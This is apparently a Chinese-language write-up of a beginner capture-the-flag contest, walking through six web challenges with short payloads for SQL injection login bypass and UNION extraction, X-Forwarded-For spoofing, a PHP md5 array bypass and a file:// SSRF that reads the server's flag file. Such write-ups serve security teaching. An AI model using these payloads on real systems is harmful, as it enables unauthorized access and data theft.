目录
新生赛,赛题比较简单,一共要打两个礼拜,下周的题估计要难一些。
比赛地址(平台做得很漂亮啊)
UNIVERSAL_SQL
题目提示万能密码,但是啥也莫得,一开始瞎打了半天,以为巨难,就没做。
后来 burp 看到了源码里有个
<a href='index.txt'></a>
里面有 sql 语句,直接查看
$username = $_POST[username]; $passwd = md5($_POST[passwd]); $sql = "select username from users where (username='$username') and (pw='$passwd')";
由于 passwd 被 md5 了,因此只能把 username 当做注入点,注释掉之后的 passwd,构造 payload:
username=') or 1#&passwd=1

茶颜悦色
- tags:脚本编写
- 难度:简单
- 分值:100
- 网址
网站是个卖茶叶的 2333,查看源码,发现要找一种叫 幽兰拿铁 的饮料,写脚本直接获取就行。
# natie.py # Author : imagin from requests import * s = session() for i in range(1000): a = s.get("http://47.106.94.13:40004/?page=" + f"{i}") # print(a.text[1000:]) if "幽兰拿铁" in a.text[1000:]: print(i) break
然后发现拿铁在 986 页,直接获取即可

这个题有点坑,他网页上的翻页按钮都是假的,所以我像个铁憨憨以为就没有翻页这回事儿,脚本里就一直刷新获取内容。抓了一万多次发现还没抓到才觉得有些不对,然后才发现?page (•́へ•́╬),这个题跟国赛应援蔡徐坤挺像的。
BABYSQL
- tags:SQL注入
- 难度:简单
- 分值:100
- 网址
打开网站,明显的 SQL 注入。

都告诉 flag 在哪儿了,直接 union select 即可。payload:
id=' union select 1,2,flag from flag#

EASYHTTP
- tags:http协议
- 难度:简单
- 分值:200
- 网址
打开网站,需要提交一堆东西,下面给了对应的值,直接复制提交即可。

提交后 302 到下一个页面,按照要求构造请求即可

最后需要伪造 ip,构造 xff 为 127.0.0.1 即可

EASYPHP
- tags:php feature
- 难度:简单
- 分值:200
- 网址
打开网站直接给源码
<?php error_reporting(0); include_once "flag.php"; show_source(__FILE__); session_start(); if(!isset($_POST['key'])) { die("not allow!"); } if($_POST['key'] != $_SESSION['key']) { die("Wrong key!"); } if(isset($_GET['username']) && isset($_GET['password'])) { if($_GET['username'] == $_GET['password']) { die("Your password can not be your username!"); } if(md5($_GET['username']) === md5($_GET['password'])) { echo $flag; } }
首先要绕过 session,首先想到把 session 和 key 都置空,但是不知道是故意的还是出题人的失误,访问的时候没有 sessionid,所以直接传一个空的 key 就可以了。
POST key=
之后要绕过一个 md5 限制,直接传两个数组就可,具体原理可以在这篇文章搜索Easy_md5 查看。

EASY_WEB
- tags:信息搜集、ssrf
- 难度:简单
- 分值:200
- 网址
打开网址啥都没有,源代码有一个 Nzc3Nzc3MmU2MjYxNmI=heiheihei。base64 解码之后再 hex 转 ascii,可以得到 www.bak,访问之下载下来一个文件,winhex 打开发现 PK 开头改成 zip 后缀名,解压即可得到源码。
压缩包里有一个 hint
flag in server /flag
源码:
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>找找hint吧</title> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <p>这里什么也没有噢!</p> <!--Nzc3Nzc3MmU2MjYxNmI=heiheihei--> </body> <?php //学习一下如何利用下面的代码? //请不要用来做"越界"的操作 error_reporting(0); function curl($url){ // 创建一个新cURL资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); // 抓取URL并把它传递给浏览器 curl_exec($ch); // 关闭cURL资源,并且释放系统资源 curl_close($ch); } $url = $_GET['url']; curl($url); ?> </html>
稍微看一下源码得知需要用 curl 获取到 flag,而根据 hint 提示 flag 在根目录,用 http 协议访问不到,这时就要构造 file 协议的 ssrf 读取本地文件。payload:
http://47.106.94.13:40003/?url=file://localhost/flag
